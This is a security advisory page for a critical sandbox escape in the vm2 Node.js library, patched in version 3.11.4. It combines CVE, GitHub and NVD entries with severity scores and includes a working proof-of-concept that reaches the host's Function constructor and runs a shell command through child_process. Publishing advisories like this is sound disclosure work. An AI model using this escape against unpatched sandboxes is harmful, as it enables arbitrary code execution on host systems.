10.0critical
vm2: Sandbox Escape
- Severity
- 10.0critical CVSS:3.1 by GitHub_M
- Exploit likelihood
- 0.76% (higher than 56% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-v6mx-mf47-r5wg
Description
vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.4, by combining Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__"), Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__"), and Node.js's ERR_INVALID_ARG_TYPE Error, the host's TypeError constructor can be obtained, which allows the escape from the sandbox. This allows attackers to run arbitrary code. This issue has been patched in version 3.11.4.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| patriksimek vm2 | < 3.11.4 | CVE List |
| vm2 (npm) | before 3.11.4 | GitHub Advisory Database |
All scores
| GitHub_M | 10.0critical CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| GitHub | 10.0critical CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
Classification
SSVC (CISA-ADP): exploitation poc, automatable yes, technical impact total.
What each source says
CVE List
vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.4, by combining Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__"), Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__"), and Node.js's ERR_INVALID_ARG_TYPE Error, the host's TypeError constructor can be obtained, which allows the escape from the sandbox. This allows attackers to run arbitrary code. This issue has been patched in version 3.11.4.
GitHub Advisory Database
Summary
By combining Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__"), Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__"), and Node.js's ERR_INVALID_ARG_TYPE Error, the host's TypeError constructor can be obtained, which allows the escape from the sandbox.
This allows attackers to run arbitrary code.
PoC
"use strict";
const { VM } = require("vm2");
const vm = new VM();
vm.run(`
"use strict";
const getProto = Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__");
const setProto = Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__");
async function f() {
try {
await WebAssembly.compileStreaming();
} catch(e) {
setProto.call(getProto.call(e), null);
}
try {
await WebAssembly.compileStreaming();
} catch(e) {
const HostFunction = e.constructor.constructor;
new HostFunction("return process")().mainModule.require("child_process").execSync("echo pwned", { stdio: "inherit" });
}
}
f();
`);
Impact
Sandbox Escape → RCE
NVD (es)
vm2 es una vm/sandbox de código abierto para Node.js. Antes de la versión 3.11.4, al combinar Buffer.call.call({}.__lookupGetter__, Buffer, ’__proto__’), Buffer.call.call({}.__lookupSetter__, Buffer, ’__proto__’), y el Error ERR_INVALID_ARG_TYPE de Node.js, se puede obtener el constructor TypeError del host, lo que permite el escape de la sandbox. Esto permite a los atacantes ejecutar código arbitrario. Este problema ha sido parcheado en la versión 3.11.4.
References
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2026-47131 changed 2026-06-13 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-v6mx-mf47-r5wg changed 2026-06-12 | CC-BY-4.0 |
| NVD | CVE-2026-47131 changed 2026-10-26 | Public domain |